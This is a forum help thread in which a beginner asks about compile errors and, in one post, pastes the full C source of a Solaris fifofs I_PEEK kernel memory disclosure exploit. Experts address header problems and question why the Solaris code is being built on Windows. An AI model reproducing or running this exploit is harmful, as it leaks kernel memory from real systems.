We help IT Professionals succeed at work.

syntax error : missing ';' before identifier '__attribute__'

thedonation
thedonation asked
on
1,864 Views
Last Modified: 2008-05-25
am @ windows server 2003  and using vc++ 6.0 standard edition.

while Compiling...
kernel-2.4.cpp

am getting these error . plz help

----------------------------------------------------------------------------------------------------------------------------->
Deleting intermediate files and output files for project 'kernel-2.4 - Win32 Debug'.
--------------------Configuration: kernel-2.4 - Win32 Debug--------------------
Compiling...
kernel-2.4.cpp
c:\vc98\include\unistd.h(99) : error C2146: syntax error : missing ';' before identifier '__attribute__'
c:\vc98\include\unistd.h(99) : fatal error C1004: unexpected end of file found
Error executing cl.exe.

kernel-2.4.exe - 2 error(s), 0 warning(s)
----------------------------------------------------------------------------------------------------------------------------->
Comment
Watch Question

CERTIFIED EXPERT
Top Expert 2009

Commented:
Can you post your code ? The part relevant to this error ?

Author

Commented:
u mean the source ?   -----> kernel-2.4.cpp

Commented:
Like Infinity said, it's important to see the relevant code.

I know that some times the error "unexpected end of file found" can be caused when missing a header file like stdafx.h if you're requiring precomiled headers.

Author

Commented:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT      1000

int      main(int argc, char *argv[])
{
      struct strpeek      strpeek;
      char            *buf, *end;
      int            pg = PAGE_COUNT, fd, pagesz, bufsz;

      fprintf(stderr,
            "---------------------------------------\n"
            " Solaris fifofs I_PEEK Kmem Disclosure\n"
            " By qaaz\n"
            "---------------------------------------\n");

      if (argc > 1) pg = atoi(argv[1]);

      pagesz = getpagesize();

      if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
            perror("mknod");
            return -1;
      }

      switch (fork()) {
      case -1:
            perror("fork");
            goto cleanup;
      case  0:
            if ((fd = open("fifo", O_WRONLY)) < 0) {
                  perror("open");
                  exit(0);
            }
            write(fd, "abcd", 4);
            exit(0);
            break;
      default:
            if ((fd = open("fifo", O_RDONLY)) < 0) {
                  perror("open");
                  goto cleanup;
            }
            break;
      }

      bufsz = (pg + 1) * pagesz;
      if (!(buf = memalign(pagesz, bufsz))) {
            perror("malloc");
            goto cleanup;
      }
      
      memset(buf, 0, bufsz);
      end = buf + (pg * pagesz);
      
      fprintf(stderr, "-> [ %p .. %p ]\n", buf, end);
      fflush(stderr);

      if (mprotect(end, pagesz, PROT_NONE) < 0) {
            perror("mprotect");
            goto cleanup;
      }

      memset(&strpeek, 0, sizeof(strpeek));
      strpeek.databuf.buf = buf;
      strpeek.databuf.maxlen = -1;
      if (ioctl(fd, I_PEEK, &strpeek) < 0) {
            perror("ioctl");
            goto cleanup;
      }

      while (end > buf && end[-1] == 0)
            end--;
      fprintf(stderr, "== %d\n", (int) (end - buf));
      fflush(stderr);

      if (!isatty(1))
            write(1, buf, (size_t) (end - buf));

cleanup:
      unlink("fifo");
      return 0;
}

Commented:
unistd.h from what I can find on google looks like it only contains unix specific definitions. Is there any reason why you need this on a windows 2003 box?
Commented:
Unlock this solution and get a sample of our free trial.
(No credit card required)
UNLOCK SOLUTION

Author

Commented:
let me explain .
 am newbie on this ,
my include/sys folder was missing some headers files like unistd.h and some others ,
i just googled ----> index.of include/sys <-------------
and found them ,  i think i download unix headers files,
 help me getting correct header files.
CERTIFIED EXPERT
Top Expert 2009

Commented:
You compile that code, and that gives the error ?

I can see at least one suspicious line :

        struct strpeek      strpeek;

It's not the best idea to name an instance of a struc the same way as the struct itself.


But that's probably not the cause of the error. The error occurred at this line :

        #include <unistd.h>

The headers before that are all normal system headers, so unless something got modified in them (did you ?), I don't see the problem (there's nothing before the code you posted, isn't there ?).

Can you try moving that include to the beginning of the file ?
CERTIFIED EXPERT
Top Expert 2009
Commented:
Unlock this solution and get a sample of our free trial.
(No credit card required)
UNLOCK SOLUTION
CERTIFIED EXPERT
Top Expert 2009

Commented:
Good catch btw, bdunz19. I missed the Windows bit heh

Author

Commented:
where can i get the windows headers files if they are missing ?
CERTIFIED EXPERT
Top Expert 2009

Commented:
Again : what are you trying to do ?

Author

Commented:
like i said am new .

Author

Commented:
trying to learn how to compile codes.

Author

Commented:
so i shud move to linux compiler ok ?

Author

Commented:
am on red hat now
 i c this error

--
root@lss606 [~/cgi/pm/pm/c]# g++ solair.cpp
solair.cpp: In function `int main(int, char**)':
solair.cpp:55: error: `memalign' was not declared in this scope

Commented:
For memalign, make sure you #include <stdlib.h>

Also, make sure you use the headers that were installed with g++, not any that you download off google (at least untill you know what you are doing ;) ).

Author

Commented:
these are my code headers ..

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
CERTIFIED EXPERT
Top Expert 2009

Commented:
>> trying to learn how to compile codes.

I mean, why did you pick that code to compile ? It's some specific code for Solaris ... There's no sense in trying to compile it for Windows.
No comment has been added to this question in more than 21 days, so it is now classified as abandoned.

I will leave the following recommendation for this question in the Cleanup Zone:
      Split: bdunz19 {http:#20063592} & Infinity08 {http:#20063599}

Any objections should be posted here in the next 4 days. After that time, the question will be closed.

Sean
EE Cleanup Volunteer
Unlock the solution to this question.
Thanks for using Experts Exchange.

Please provide your email to receive a sample view!

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.